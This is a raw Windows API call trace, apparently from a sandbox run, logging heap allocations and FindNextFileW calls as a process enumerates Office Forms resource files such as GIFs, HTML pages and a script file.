RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_disable.gif", cAlternateFileName="")) returned 1 [0078.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1030 [0078.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bc998 [0078.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.669] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_over.gif", cAlternateFileName="")) returned 1 [0078.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1050 [0078.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bcaa0 [0078.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.670] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right.gif", cAlternateFileName="")) returned 1 [0078.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1070 [0078.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bcba8 [0078.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.671] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_disable.gif", cAlternateFileName="")) returned 1 [0078.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1090 [0078.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bccb0 [0078.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.671] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_over.gif", cAlternateFileName="")) returned 1 [0078.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac10b0 [0078.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bcdb8 [0078.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FieldTypePreview", cAlternateFileName="")) returned 1 [0078.672] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0078.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac10d0 [0078.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bcec0 [0078.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x44c0) returned 0x11c8048 [0078.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.673] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="")) returned 1 [0078.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac10f0 [0078.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bcfc8 [0078.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.674] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="")) returned 1 [0078.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1110 [0078.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd0d0 [0078.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.675] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x805, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsDoNotTrust.html", cAlternateFileName="")) returned 1 [0078.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1130 [0078.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd1d8 [0078.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.685] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc96, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePage.html", cAlternateFileName="")) returned 1 [0078.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1150 [0078.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd2e0 [0078.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.686] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x15fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageScript.js", cAlternateFileName="")) returned 1 [0078.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1170 [0078.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd3e8 [0078.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.687] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageStyle.css", cAlternateFileName="")) returned 1 [0078.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1190 [0078.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd4f0 [0078.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.688] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="")) returned 1 [0078.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac11b0 [0078.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd5f8 [0078.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.688] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="")) returned 1 [0078.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac11d0 [0078.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd700 [0078.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.689] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsTemplates", cAlternateFileName="")) returned 1 [0078.689] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="")) returned 1 [0078.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac11f0 [0078.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd808 [0078.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.690] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="")) returned 1 [0078.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1210 [0078.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bd910 [0078.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.691] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="")) returned 1 [0078.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1230 [0078.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bda18 [0078.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.691] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="")) returned 1 [0078.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1250 [0078.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bdb20 [0078.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.692] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="")) returned 1 [0078.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1270 [0078.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bdc28 [0078.693] RtlFreeHeap 